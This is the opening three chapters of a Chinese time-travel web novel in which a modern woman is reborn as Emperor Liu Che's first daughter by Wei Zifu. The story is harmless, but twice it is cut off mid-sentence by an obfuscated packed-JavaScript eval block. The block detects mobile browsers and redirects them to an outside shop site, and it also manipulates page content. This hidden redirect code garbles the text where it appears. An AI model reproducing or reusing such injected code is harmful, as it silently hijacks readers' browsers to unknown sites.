《卫长公主(汉穿)》 1. 第 1 章 建元三年,九月,月明星稀,霜重夜沉。 长安城中寒风萧瑟,霜白月光下,一片寂静。 汉皇宫坐落在渭河南岸,气势恢宏,规模宏大,神霄绛阙。 此时昭阳殿中灯火通明,殿中人影憧憧,时不时传来几声女子的痛呼声。 外殿内侍屏息敛眸,不敢异动,竖着耳朵听着内殿产房的动静。 现年十九岁的汉朝第七位皇帝刘彻不断踱步,时不时望着内殿。 中常侍莫雨见他焦急,温声宽慰道:“陛下,您莫着急,太医之前说了,卫姬的胎象稳固,这次一定能平安诞下皇子。” 说话时,给站在一旁同样面色焦急的卫青也使了眼色,让他帮忙劝着陛下。 要知道自从卫子夫有了身孕后,椒房殿那位多次针对她的家人出手,陛下知道后,将卫青册封为建章监,成了宫廷卫队的一个小头目,带在身边,也算是平步青云。 可惜卫青一心担心卫子夫,也是面色焦急地盯着内殿方向,压根没注意到莫雨的眼神。 莫雨:…… 平日见卫青挺有眼色的,怎么这个时候瞎了。 刘彻眉间紧锁,看了看外面的夜色,烦躁道:“现在什么时间了?” 角落里的内侍连忙道:“回禀陛下,现在已经子时了。” 刘彻叹气,“都过去两个时辰了。” 莫雨小心翼翼道:“陛下,奴婢觉得卫姬吉人自有天相。肯定会顺顺利利的。” 否则后宫那么多女子,偏偏就她一人有了身孕。 “但愿吧!”刘彻刚想在坐塌上休息一下,听到内殿卫子夫的痛呼声再次条件发射站了起来,刚想靠近内殿帷幔,被内侍和宫女拦了下来。 …… 子时将尽,昭阳殿终于传出一声响亮的婴儿啼哭声。 “哇啊啊——” 一个有着来自千年后灵魂的女婴降生! 宫殿内外的宫侍、侍卫听到这声音,顿时面色一缓,同时好奇婴儿的性别。 产婆满脸笑意地抱着襁褓出来,“恭喜陛下,贺喜陛下,卫姬生下一名公主。” 说话时,小心地揭开襁褓,婴儿红彤彤、皱巴巴的小脸露出来,双眼紧闭,看着还没有刘彻半个手臂长。 刘彻听闻是公主,眸中闪过一丝几不可闻的失落,不过很快就调解过去,面带好奇地看着婴儿。 这么小、这么脆弱的孩子,他要好好护着。 他小心地抱过孩子,眉眼弯起,唇角禁不住上翘,“朕的公主真好看!哈哈哈!卫青,你看,朕当阿父,你当舅父了!” 卫青小心翼翼地探头看着,傻乎乎笑了,“恭喜陛下,公主确实好看。” 莫雨嘴角微抽。 他刚刚瞥了一眼,才出生的婴儿又小又皱,才不好看呢。 刘彻轻轻碰了碰婴儿的小手,朗声道:“此乃朕的第一女,朕要册封她为长公主!” “……陛下!”莫雨惊诧。 按照朝廷律法,帝王的女儿被封为公主,唯有皇帝的姊妹才被封为长公主。 当然也有例外,太皇太后的女儿刘嫖在文帝登基时,就被册封为馆陶长公主。 现下卫子夫仅是一名家人子,所生女儿就有如此殊荣,可见陛下的欢喜。 刘彻当然开心,他七岁做太子,做了九年太子,继承皇位后,朝政掌握在太皇太后手中,压根做不了主。 一句“主少国疑”将他压的死死的。 而且在卫子夫没有身孕前,他后宫并无所出。 在他这个年纪,民间许多男儿已经做了父亲。 而他至今无任何子嗣,尤其太皇太后独揽大权。 对于太皇太后来说,他只是她的孙子,但是太皇太后不止他一个孙子,甚至不是她最喜爱的那位,太皇太后若是以他无嗣为借口,将他废了,朝野估计没有多少人帮他说话。 卫子夫生下这个孩子,彻底打破了朝野对他不能生育的疑惑,他当然高兴。 …… 未央宫中,对于年纪大的人来说,夜间浅眠易醒,太皇太后在侍女的服侍下润了口。 贴身宫女容姜轻声道:“太皇太后,刚刚昭阳殿来报,卫姬于子时诞下一名公主,陛下大喜,册封小公主为长公主!” “是个公主啊!长公主……”太皇太后缓缓叹了一口气,而后笑了笑,“看来陛下还是年轻啊!也是,第一次当父亲,自然高兴。既然这样,你明日传我的旨意,册封卫姬为夫人,咱们老人家要知趣,不能让皇帝先开口了。” “诺!”容姜应下,停顿一下,有些担忧道:“可是太皇太后,奴婢担忧,椒房殿那边怕是会伤心。” 椒房殿的陈皇后是馆陶大长公主的女儿,自小受宠,进宫以后几乎就是专房之宠,性子有些娇蛮,当然以陈皇后的背景,她也有娇蛮的底气,只不过入宫后,一直没有身孕,之后陛下就冷了她。 她不是担心陈皇后,而是担心馆陶大长公主来闹太皇太后,太皇太后这几年身体每况愈下,可经不住闹腾。 “唉!阿娇她既然入了宫,当了皇后,就要有皇后的度量,皇帝有了孩子,是大喜事,你让人看着她,莫要让她做了糊涂事!”太皇太后眉心高耸,低声道。 容姜:“诺!” …… 椒房殿那边也早就得到了消息,陈皇后得知卫子夫平安生下一名公主,心中非常恼怒,尽管身边的宫女、内侍都在哄她,说生公主好,总比生下一个皇子情况要更糟! 可她还是如鲠在喉。 她陈阿娇,太皇太后唯一女儿馆陶大长公主的亲闺女,先帝的亲外甥女,世袭堂邑侯的嫡长女,现下居然要看别人脸色。 明明当年陛下向阿母求娶她时,说的好好的,要一辈子待她好,要用金子盖一栋房子给她住。 现在金屋有了,可是人心却变了样。 陈皇后贝齿咬着唇瓣,恶狠狠道:“听说陛下还封了那孩子为长公主?” 才出生的孩子就封了长公主,陛下可曾顾忌过她。 乳母哄道:“皇后,只是一个公主,总归越不过您,您可是陛下的皇后。” 陈皇后恨恨道;“现在长公主的名号占了,将来本宫若是有了公主,岂不是委屈她了。” 乳母闻言低声道:“皇后,未来的事谁都说不准,说不定卫姬的孩子承受不住这么大的尊贵,这名号将来还是您与陛下的孩子的。” 身为乳母,她知道,养育一个孩子有多费心,孩子有多脆弱。 陈皇后这才松了一口气,在乳母的服侍下睡下。 至于昭阳殿那边,反正陛下知道她的性子,她若是真去了,陛下反而会担心,何必要讨人嫌。 只不过,次日陈皇后醒来,得知长乐宫传旨,册封卫子夫为夫人,气的她摔了好多东西。 宫中女子多,大多是没有品级的家人子,就她一个皇后,现下卫子夫母凭子贵,册封夫人,一下子就成了后宫第二人,她怎能不生气。 …… 昭阳殿中,卫子夫抱着婴儿柔声哄着,平安生下孩子与册封夫人的喜意让她此时容光焕发,生产后的狼狈和疲劳消失了大半。 一旁的侍女孟乐开心道:“夫人,长乐宫送来了好多赏赐,陛下临走前说,晚些时候来看您和公主。” 卫子夫给怀里的孩子拢了拢襁褓,柔声道:“好了,这些我都知晓了,对了,椒房殿可有吩咐?” 听到她问起这个,孟乐抿了抿唇,低声道:“皇后派了侍女前来询问了两句,其他没说什么。” 后宫的人都知道陈皇后的脾气,说实话,这次卫子夫生产,陈皇后没有打上门抢孩子,已经是让他们松了一口气。 卫子夫闻言,心中也松了一口气,刚想说话,手边一阵柔软,下意识垂眸。 原来是孩子醒了,睁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694979|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小眼,小手抓挠她的手。 孟乐努力克制住惊喜:“夫人,您看,公主醒了。” 卫子夫表情变得更加柔和,温柔地将手指放在婴儿的小爪中,感受到对方蓬勃的力道,笑容加深,“孩子,我是阿母!” “咿呀呀……”婴儿瞪大眼睛,下意识循着声音望去。 作为一个才出生的婴儿,她现在的五感都是混沌的,看人都是雾蒙蒙的一片,认不清楚,但是本能告诉她,这是她的母亲。 刘瑶努力睁大眼睛,转动起现在丝滑没有多少褶皱的大脑,脑海中迷迷糊糊有了一些认知。 她上辈子出意外死了,现在是没喝孟婆汤就转世了? 面前这个香香软软的女人是她的母亲! “哎呀啊啊咿呀!”刘瑶握着卫子夫的手,努力打着招呼。 “噗呲!我儿真是聪明,都学会与阿母说话了。”卫子夫忍俊不禁。 刘瑶听得有些模糊,吧唧了小嘴巴。 卫子夫见状,知道她饿了,笑着将孩子抱到胸前,小孩闻到奶香味,下意识用头拱着。 刘瑶此时模糊的思绪被人类婴儿最基本的需求给压制,只顾得吃奶。 毕竟天大地大,吃饭最大! 天王老子来了,也不能耽误她吃饭。 就在刘瑶吃饭时,天王老子没来,皇帝陛下来了,她听到动静,勉为其难地转了转头,只看到一个高大的身影,以她现在的视力,看谁都是糊了一层雾玻璃。 “啊咿呀!”她向来人敷衍地打了一声招呼,然后转身埋头苦吃。 “公主刚刚是在喊朕吗?”刘彻看的有趣。 只是过了一天,孩子就大变样,虽然看着仍然红彤彤的,但是全身的褶子少了,变得嫩呼呼的。 昨日夜深,他光顾着高兴,今日才发现自家公主的秀发很是旺盛。 而且听到动静,也不害怕,还与他打招呼。 “妾身也这么觉得!”卫子夫抿嘴忍笑道。 刘彻坐在床榻边,好奇地盯着小婴儿的后脑勺,抬手想要触碰,快要摸到时,又撤了回去,担心自己手上的薄茧伤到小孩。 努力干饭的小婴儿一无所知,吃饱后躺在亲娘怀里,听着他们的说话声,时不时踢踏着四肢,彰显一下存在感。 …… 刘彻含笑道:“公主的名字定下了,刘瑶!” 说话时,旁边的莫雨递上一份帛书,上面正是刘彻册封刘瑶为长公主的圣旨。 “妾身替阿瑶谢过陛下!”卫子夫眸光大亮,眼眶霎那间发红,挣扎着想要下床,被刘彻拦下。 “朕才是要谢你,你为朕生下了公主,原先朕想册封你为夫人,奈何这活被太皇太后给抢了,着实让朕有些头疼,不知道怎么奖赏你。”刘彻佯装头疼道。 卫子夫掩唇轻笑道:“妾身知道陛下的心意就满足了,现下妾身有了公主,还成了夫人,并无其他所求。” 刘彻摇头:“这可不行,朕说过要给奖赏的,这样吧,朕再赐你千金。” “这……陛下,千金有些多了,妾身用不了这么多。”卫子夫面露迟疑。 她进宫前,只是平阳长公主府的一名歌姬,家境普通,千金对于她来说,着实多了。 刘彻叹笑道:“朕既然给你了,你就拿着。你们卫家也需要这些钱改换门庭。” 现下卫子夫诞下长公主,又成了夫人,他观卫青此人有将才,将来肯定要重用的,这些钱给他们应当的。 “多谢陛下!”卫子夫心口热乎乎的,眸光溢满依恋和信赖。 让刘彻看的心潮澎湃,满是成就感,笑着将人揽在胸前。 一直竖起耳朵,听得一知半解的刘瑶睁着乌溜溜的眼睛看着这一幕。 小脑袋思绪转动。 她好像现在也叫刘瑶。 所以这是到了上辈子,还是下辈子? 唉!想不通! 2. 第 2 章 竖日,卫青与公孙敖一起回到卫府,告诉了卫府众人这个好消息。 听闻卫子夫平安诞下一名公主,被册封夫人,就连孩子也甚得陛下喜欢,册封为长公主,众人长舒一口气,心中安稳了不少。 卫子夫原先是平阳长公主家的歌姬,陛下前往霸上祭祖祈福,回程时探望平阳长公主,碰巧看上了卫子夫,将其带入宫中,进宫时是没有封位的家人子,不过她进宫后,反而被冷落了一年,而后又重新承宠,还有了身孕。 当时帝后成婚多年未有子嗣,民间各诸侯虎视眈眈,甚至有不少流言说陛下压根不能生,卫子夫有孕让陛下十分高兴。 当然,相对应的就碍了陈皇后的眼,年初的时候,卫青、卫长君差点被馆陶大长公主给杀了,还好有公孙敖的救助,事情虽险,但是她卫家却因祸得福,得陛下厚赏,卫青成了建章监。 卫子夫的母亲卫媪眼眶通红,“平安就行,平安就好。” 他们家门户低,在宫中帮不了女儿,只能看着她孤军奋战。 卫青说道:“阿母,陛下有意想接你们入宫看望阿姊,阿姊见到阿母一定很开心。” 卫媪一听,粗糙的大手紧张地绞着衣摆,面色担忧道:“我若是进宫,会不会给子夫添麻烦。” 她虽然想女儿,也清楚卫子夫现下不宜太过高调,尤其现在陈皇后和馆陶大长公主肯定很生气。 卫青笑道:“莫怕,有陛下呢!” 卫媪还是有些担心。 一旁的卫君孺、卫少儿连忙安慰卫媪。 窝在卫少儿怀里的三岁娃娃懵懂地看着众人,经过稚嫩的小脑袋瓜翻译,小家伙知道大人们要出去玩,顿时扭了扭身子,“我也要去!” 小孩的稚声暂时冲散了卫媪心中的忧虑,佯装不解,“去哪里啊?” “去……去找人。”胖娃娃纠结了一番,最终理出这个重点。 阿母他们要去看亲戚,他也要去。 众人忍俊不禁。 卫媪上前捏了捏他又滑又嫩的小脸蛋,“我们去病真是聪明!连这都知道。” 卫少儿戳了戳他的鼻子,“你的姨母在宫中生下一名公主,去病进了宫,要乖哦!” 这小子自小鬼精鬼精的,她倒不怕小孩闯祸。 霍去病见阿母应允了,顿时眉开眼笑。 …… 卫府这边其乐融融,不过馆陶大长公主府的氛围就不怎么好了。 馆陶大长公主寒着脸听着宫里的消息。 陛下不给她面子,她能理解,可是太皇太后居然亲自册封卫子夫为夫人,明知道她的阿娇落到今日这个下场,就是卫子夫的原因。 堂邑侯见她来回来走动,眼睛都被她绕花了,无奈道:“你先坐下吧,事情已成定局,你现在急也没用。” 馆陶大长公主的长子陈须同样劝道:“阿母,你莫要急,卫子夫现下只生了一个公主,碍不着阿娇的地位。” “碍不着!”馆陶大长公主脚步一顿,目露冷光,没好气道:“你耳朵聋了吗?那个歌姬的孩子被封为长公主。刘彻这是在打我的脸,嫌弃我的阿娇。” 陈须见状,讪讪摸了摸鼻子,“陛下与阿娇成亲多年未曾有子,现在有了第一个孩子,当然乐坏了,也能理解。” 堂邑侯也哄道:“当初咱们有阿娇时,我也是高兴极了。” 馆陶大长公主更加生气,“阿娇被欺负成什么样子了,你还在这打马虎眼。” 堂邑侯:…… 他一向低调,而且在朝中的官职也不是很大,对于馆陶大长公主的控诉,他也是无奈。 她说阿娇在宫中被人欺负,着实颠倒黑白,以他家阿娇的脾气和地位,旁人不被她欺负,已经是幸事。 陈须见父母要吵起来,连忙插嘴道:“阿母,现下与其将注意力放在卫子夫身上,不如多关心妹妹,早日让妹妹与陛下生下皇子,地位就彻底稳固。” 馆陶大长公主烦躁地狠狠跺了一脚,不再理室内众人,高声道:“来人,本宫要进宫看皇后。” 她家阿娇现下正是需要人的时候,而且她要去长乐宫问母后,为何那样做。 …… 次日,卫家人前脚进宫,馆陶大长公主后脚也进了,这般凑巧,让带路的小黄门也惊了一身冷汗,千叮咛,万嘱咐卫家人若是遇到馆陶大长公主时,态度一定要放软。 馆陶大长公主那边也知道了卫家人进宫,不过她现在对于折腾这些家奴出身的人没兴趣,阿娇才是紧要的事情。 身为一名才出生的婴儿,刘瑶现下除了睡,就是吃,无事的时候,睁着迷蒙的大眼看着殿内来往的模糊身影。 卫媪、卫君孺、卫少儿三人站在摇篮旁,看着襁褓中的婴儿,眉眼柔和。 霍去病被卫青抱着,咬着手指看着流口水的婴儿,奶声奶气道:“她好小!比我的肚子还小。” “噗呲!”殿内众人发笑,目光纷纷集中到霍去病挺起的小圆肚,不住地点头。 小孩说的也没错,确实看起来不如他的圆肚肚大。 卫少儿无语道:“乱说话,小心挨揍!” “我没说错。”霍去病轻哼一声,嘴上硬实,动作却与之相反,两手搂着卫青的脖子,将头埋进他的脖颈,不敢看卫少儿。 众人再次发笑。 卫子夫也禁不住掩唇忍笑。 霍去病今年足足满三岁,她入宫两年,基本上与她生疏。 看着孩子如此活泼可爱,卫子夫也欣慰不已,让人拿了一些玩具送给他。 “多谢姨母! ”霍去病抱着玩具,眉开眼笑。 卫少儿见状,点了点他的眉心,“真是没心没肺!” 霍去病一听,抱着自己的小肚子,纠正道:“我的都在小肚肚里,阿母错了。” 卫少儿:…… …… 满月时刚过立冬,长安飘下了今年冬日以来的第一场雪,刘彻为孩子举办了满月酒。 在一片祝福声中,小小的婴儿躺在摇篮里,睁着圆溜溜的大眼睛好奇地看着周围。 刘瑶左看看、右看看,粉嘟嘟的小腮帮鼓起来,说着只有她懂,旁人听不明白的婴言婴语。 …… 她原来成了长公主? 话说她爹娘是谁来着? ……这里是什么地方? 总觉得上辈子好多事情忘了,哎呀,果然小孩脑子不好用…… …… 摇篮里一开始乐呵呵的小婴儿瞬间瘪嘴,郁闷地看着周围的人。 周围的人见状,笑的更加开心了。 守着的宫女见状,询问一旁的乳母,“长公主是不是要更衣了?” 长公主除了出生前几天不好照顾,后面若是想要饿了、渴了、如厕,就会提醒伺候的宫侍,再者半个时辰前,夫人才喂过长公主,现下应该不饿。 周围的宗室女眷、勋贵夫人们见状,下意识用帕子虚掩住鼻端。 卫子夫俯身轻轻将她抱起,揭开衣服闻了闻,眉心微蹙,然后向周围人致歉,“诸位稍等片刻,妾身去给孩子换衣服,子燕,好好招待诸位贵人!” 子燕躬身行礼,“诺!” 到了内殿,卫子夫将婴儿放下,见孩子面色变得舒缓,唇角不由得上翘,轻轻点了点她的小鼻梁,“脾气真大,人一多居然还不高兴了。” “?”刘瑶睁大眼睛,挥舞着藕节般的胳膊,辩解道:“咿咿呀呀……” 她才没有呢! 明明是她娘想偷懒,拿她当借口。 跟在身后的乳母恍然大悟,看来小公主并无不适,只不过卫夫人以她为借口躲外殿的那些人。 满月酒当天,除了帝王亲临,长乐宫太皇太后、皇太后还有椒房殿陈皇后也都派了人前来,表明对小公主的看重。 现场女眷看着椒房殿的女官,眸中满是看戏的表情。 看来他们那位陈皇后当真是骄纵肆意,不管如何,卫夫人所生之女也是陛下的头一个孩子,再怎么膈应,总要来看一下吧。 就算不想独自来,与陛下一起来,本身也不坠面子。 奈何,皇后还是年轻气盛啊! 得亏有馆陶大长公主和太皇太后护着。 果然,天底下怕是再找不到比皇后底气更足的女子吧。 可惜可惜,这男人的心不可捉摸,陈皇后至今与陛下一无所出,果然天底下的福气哪能会让一人独占。 …… 等到雪停时,卫子夫带着刘瑶前去长乐宫给太皇太后和皇太后请安。 太皇太后因患有眼疾,早在文帝时期就瞎了,只能在旁人的帮助下轻轻触摸刘瑶。 刘瑶好奇地看着面前的老人,伸出小手主动去勾她的大手。 太皇太后触碰到婴儿嫩滑的小手,眼角不禁泛起笑纹,“小公主一定长得很好。” 虽然她惋惜刘瑶不是阿娇所生之女,毕竟是自己的曾孙辈,皇帝的第一个孩子,她自然要爱护。 皇太后笑道:“小公主长得与陛下小时候有几分相似,不过那双眼睛可比陛下大得多。” “你这样说,陛下知道了,要伤心了,陛下小时候的眼睛也是不错的。”太皇太后循着声音笑叹道。 皇太后佯装失言遮住唇瓣,“太皇太后说的有理,陛下年纪还小,确实还要哄着。” 她说这话也没办法,儿子今年十九岁了,现下还有了第一个孩子,身为亲娘,自然想儿子能亲政,可是放眼望去,朝中大将军是窦家人,丞相也是窦家人,三公九卿多是窦家人。 太皇太后虽然双目失明,可是心思缜密,国家大事都逃不过她的耳朵。 别说刘彻,就是他爹景帝的大政也是要经过她的同意才能用印玺。 所以与其让太皇太后忌惮,不如让她小觑一些。 “不小了,现下都当父亲了,也要稳重些。”太皇太后扶额叹气,“一个他,一个皇后,真是天生一对,现下都是小孩子脾气,老身现下身子越发年迈,还能看顾几时,只求有了公主后,陛下与皇后都能变得稳重。” “……太皇太后说的是。”皇太后眸光微闪。 看来太皇太后还是向着自家人,恐怕这段时间馆陶大长公主与陈皇后过来闹腾了。 卫子夫恭敬地跪坐在一旁,目光只关注暖榻上的刘瑶。 她虽然现下成了夫人,头顶不仅有陈皇后、皇太后,还有太皇太后,由不着她做主。 皇太后眸光轻扫。 这卫子夫虽然出身低了些,不过性子稳妥,耐得住寂寞,看得清形式,并没有因为诞下公主而举止变得骄横,此人前途不可限量。 “咿咿呀呀!”刘瑶挥舞四肢,努力插话。 反正她现在是小孩子,不哭已经是乖宝宝了。 太皇太后勾唇道:“果然还是小孩子最好,但愿以后陛下能有更多孩子。这样也让朝臣和百姓安心。” 皇太后连忙道:“借太皇太后的吉言。” …… 等到刘瑶百天时,终于能摆脱软趴趴阶段,可以翻身踹人了,比如现下在她身边撑鬼脸吓唬她的刘彻。 “咿呀!”刘瑶使出吃奶的力气,抬起小肉腿往他脸上一踹。 “……”对此没有防备的刘彻,一下子吃了一脚,倒吸一口气。 他没想到小小的婴儿这一脚力道不小,他觉得自己脸上肯定留痕了。 “陛下!”莫雨惊诧,望着刘彻脸上清晰的小脚丫印记,默默绷紧了嘴唇。 “嘶!公主的力气真大。”刘彻摸了摸脸上的红痕,无奈地看着朝他笑的天真无邪的刘瑶。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694980|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刘瑶高兴地手舞足蹈,“咿咿呀呀——咿呀!” 让你吓唬小孩子。 刘彻见她高兴,也不禁笑了,凑上前两手包住她的小肉腿,坏笑道:“小坏蛋,这下你就动不了。” “哎呀……咿呀哎咿呀!”刘瑶拼命扭动,像是困在浅水的鱼,小脸都憋红了,还是逃不出对方的掌心。 “欸……”莫雨见状,在一旁弱弱提醒, “陛下,您轻着点,别将长公主给弄哭了!” 小孩子若是哭了,可不好哄! “……”刘彻回过神,低头对行自家女儿水灵灵的大眼睛,隐隐有水花晃动,立马松手,讪讪一笑。 刘瑶泪眶水花一秒收回,抽了抽鼻子,然后蓄积力气,小肉腿再次出击,这次目标仍然是刘彻的脸。 她倒要看看是这人的脸皮厚,还是她的脚力大。 “没踢到!”可惜刘彻这次有了经验,躲闪过去,人家不仅躲过伤害,还得意洋洋嘲讽,似乎还上了瘾,又故意凑近逗她。 刘瑶:…… 既然想要挨打,她就不客气了。 卫子夫在一旁看着父女俩折腾,忍俊不禁。 小孩子的精力毕竟有限,与刘彻“过招”个十来回,刘瑶就打着哈欠睡着了,闭上眼时,小腿还条件反射伸着。 卫子夫将腿塞进襁褓,给她调整了一个舒服的姿势,看着女儿睡得更香了,唇角笑容不断。 等安置完女儿,转身见陛下脸上的红痕更加清晰了,不禁忍笑道:“陛下,妾身给您找些药膏涂抹一下,否则被外面的大臣看到,怕是有损您的威严。” 刘彻刚才与孩子一时闹腾有些忘了,这时想起来,按了按脸上的红印,叹气道:“阿瑶的力气可真大啊!” 旁边的莫雨拿过来一面铜镜,奉到他面前,“陛下,您请看!” 透过铜镜,刘彻看清他脸上实实在在的脚丫印,目光落到睡得香甜的刘瑶身上,无奈道:“朕到底怎么惹了阿瑶,让她下如此重手。” 卫子夫笑道:“陛下可能错怪公主了,她估摸在与陛下玩耍。” “真的吗?”刘彻半信半疑。 可是刚才他制住小孩双腿时,小孩可不高兴呢。 卫子夫闻言,神情更加恳切,“当然,公主最喜欢陛下了!” …… 出了昭阳殿,刘彻脸上的红痕还未消散,卫青带着羽林卫巡逻,正好撞上,注意到他脸上的印记有些纳闷,不过也没问。 男子汉大丈夫磕磕碰碰很正常。 刘彻挥手让其余人退下,然后指着脸上的印记,控诉道:“卫青,朕这脸上的伤是公主打的,你身为她的舅父,也要担责。” 卫青闻言,看了看刘彻,无语道:“陛下,您是公主的阿父。” 而且还是皇帝,就是算账,也是先找陛下。 刘彻:…… 不过玩笑结束后,刘彻开始说正事了,主要是去年张骞出塞的事宜。 朝堂中,上有太皇太后,朝中多数官职又被窦家人把持,刘彻能做主的事情不多,张骞出塞是他最上心的一件事。 早在秦末楚汉相争时期,北方匈奴冒顿单于趁机扩张势力,控制了北方不少地区,建国初期,冒顿单于征服西域,横征暴敛,并且经常侵犯大汉的领土,骚扰、掠夺中原百姓,让人头疼不已。 他之前得到消息,与匈奴有世仇西迁的大月氏想要报仇,奈何无人相助。 所以他打算派人前去沟通联合大月氏,对匈奴形成合击。 可是前段时间,河西走廊传来消息,说张骞所率队伍不幸碰上匈奴,全部人马被押送匈奴王庭,恐怕凶多吉少,此事让他烦躁不安。 卫青也知晓匈奴的凶恶,对此只能宽慰,“卑职觉得张骞吉人自有天相,一定能逢凶化吉。若是陛下信得过,卑职愿意率人前往匈奴,寻找张骞。” “不用了,朕已经派人去寻。现下子夫刚生下孩子不久,你若是出事,她怕是会埋怨朕。”刘彻叹息。 他虽然对卫青信得过,但是对方现下身份不够。 …… 昭阳殿中,睡醒的刘瑶抱着自己的腿,怔怔地看着自家母亲。 刚刚她才知道自家母亲的名字叫“卫子夫”。 出生后,一直听别人喊她“夫人”、“卫夫人”,第一次知道她的名字。 嗯……这个名字她觉得十分熟悉。 刘瑶咬着自己的小袜子,小脑袋想的快打成结了,可惜脑袋空空,没有灵感。 “袜子脏,别咬。”卫子夫将她抱起,轻轻晃了晃,“阿瑶想什么呢?与阿母说说?” 刘瑶下意识歪头,澄澈的大眼睛看着她,“咿呀咿哎呀……” 她在想她到底是谁? 她娘是谁? …… 这个答案在刘瑶满周岁的时候解惑。 朝野都知道陛下的长公主异常聪慧,九个月就会说话,一岁多就能与人交谈,说些拗口的长句,深得陛下宠爱。 听到众人夸赞的刘瑶两手叉腰,朝天翻了一个白眼。 不妙! 她娘是卫子夫。 她爹叫刘彻。 有一个目前任职建章建的舅舅,主要他叫卫青。 至于传说中的霍去病,呜呜……前段时间,她问了,比她大三岁,前段时间还因为闯祸,被揍了屁股。 所以…… 刘瑶想起她娘与未来太子弟弟的遭遇,小肉手不禁扶额,头疼不已。 “阿瑶这是干什么?”刘彻被孩子稚气的动作逗乐。 刘瑶长叹一口气:“在想……阿父如何才能不长歪!” 刘彻:…… 孩子!阿父今年已经是弱冠之年了。 你要担心,也是担心自己,担心他干什么! 3. 第 3 章 刘瑶现在脑袋里还没有多少上辈子的记忆,但是她觉得,不管是多远的事情,都要未雨绸缪,尤其针对刘彻这种皇帝。 “调皮!”刘彻点了点小孩的鼻子,失笑道:“身为阿父,朕才要头疼你将来长歪!” 刘瑶闻言,小手抓住他的大手,笑嘻嘻道:“阿父,彼此彼此!” “……”刘彻无语地看着她。 刚学会了词就乱用,“彼此彼此”这话是和谁学的。 两头身的玉娃娃戳着他的脸,奶声奶气道:“阿父,你若是长歪了,阿瑶可怎么办?” 刘彻见状,将人高高举起,轻轻晃着小孩,含笑道:“若是阿瑶长歪了,阿瑶说说,阿父怎么办?” “……”刘瑶顿时蹙眉,小嘴半张,反应过来后,两手叉腰,傲然道:“我才不会长歪。阿父,吓唬小孩子长不高。” 刘彻忍笑,示意小孩看两人被阳光照出的影子,“阿父很满意现在的个头,不过阿父听说,小孩子乱说话,长不高!” 刘瑶闻言,撇嘴不屑道:“阿父果然歪了,只会哄小孩子。我将来一定比你还高。” 刘彻挑了挑眉,“阿瑶这么说,朕就拭目以待了,若是长的没有朕高,朕要打人。” “阿父,坏!”刘瑶当即瞪大眼睛。 这人个头不矮,她将来怎么追。 刘彻顿时无语:“……” 明明是她刚刚立下雄心壮志,转眼又指责他。 小孩子就这样善变吗? 旁边的卫青忍笑,“公主真聪明!连这都看出来了。” “那当然!”刘瑶得意地晃着小腿。 刘彻叹气,将人抱在自己怀里,“连这都吓唬不了你,将来还怎么制住你。” 刘瑶扯了扯他的袖子,圆润的小下巴翘的高高的,“阿父,俗话说,信我永生!阿瑶不会让你长歪的。” “噗呲!”刘彻忍俊不禁,屈指刮着她的小鼻梁,“和谁学的混账话,天底下还没人敢对朕说这话。” 而且还学会用“俗话说”来扯大旗。 小家伙到底还小,现在正是乱学说话的年纪,等一下,他要提醒卫子夫好好规训宫人,莫要教坏了小孩。 卫青嘴角微抽,“公主,‘俗话说’不是这么用的。” “信我永生”这话,莫不是公主听了什么“黄老之学”,自己理解的? 刘瑶歪头想了想,就改了一下,“那‘信瑶永生’,阿父,放心,有阿瑶呢。” 反正汉武帝变成老头子后,喜欢折腾鬼神之说,与其追求虚无缥缈的永生,不如信她,肥水不流外人田。 卫青:…… 这与刚才有什么区别。 刘彻眉梢高挑,当即将孩子放到地上,两手环臂,唇边噙着坏笑,“阿瑶既然这样说了,那就自己走路吧。” 阿瑶虽然说话早,但是走路这事还是要循序渐进,现下走路仍然东倒西歪,一个不留神,就四肢着地了,爬的那个快,他看一回,乐一回。 “……”两腿着地的刘瑶噘着嘴瞪着他。 走就走,她又不是没腿。 刘彻就看到刘瑶雄赳赳、气昂昂的走了两三步,小身板随着她的步伐,好似乘船一般,不断晃动,然后一下子四肢着地。 围观众人忍笑。 刘瑶察觉视线,气呼呼地瞪了一圈,也顾不得什么,四肢挥动飞快,循着内殿的方向,奶声奶气喊道:“阿母,阿父大坏蛋!” 内殿给刘瑶缝制衣服的卫子夫迎来一只气呼呼的奶团子,将她抱起,笑道:“陛下怎么欺负咱们阿瑶了?” 刘瑶指着殿外,“阿父要打阿瑶,自己走路!” 卫子夫轻手拍着她的小肉背,哄道:“等阿瑶学会走了,就不用受气了。” 刘瑶闻言,小眼睛透着哀怨。 她就是学会跑了,凭借自己的小短腿也无法超过大人。 虽说刘彻在殿外,但是听得一清二楚,等刘瑶告完状,他大步走进来,笑道:“子夫,朕也有话说,朕刚刚被阿瑶欺负了,你去宫外问问哪家孩子如阿瑶这样说话,什么朕长歪了。” 刘瑶小手捂着耳朵。 不听,不听,王八念经。 刘彻与卫子夫见状,不由得笑了。 真是孩子脾气。 椒房殿的女官袁梅到来时,就看到这么其乐融融的一幕。 暗自庆幸自家皇后没有亲眼看到,否则又要被气的好几日睡不着。 刘彻笑容微敛,沉声道:“皇后可是有事?” “皇后她病了两日,病情不见好,奴婢看她心里念着陛下,斗胆求陛下去看看皇后。”袁梅眼眶发红,??泫然欲泣。 刘彻惊得起身,“皇后病了?” 跪在地上的袁梅点头道:“是的,皇后她前两日受了风寒,一直不见好,又拗着性子不肯喝药,奴婢实在没办法。” 刘彻:…… 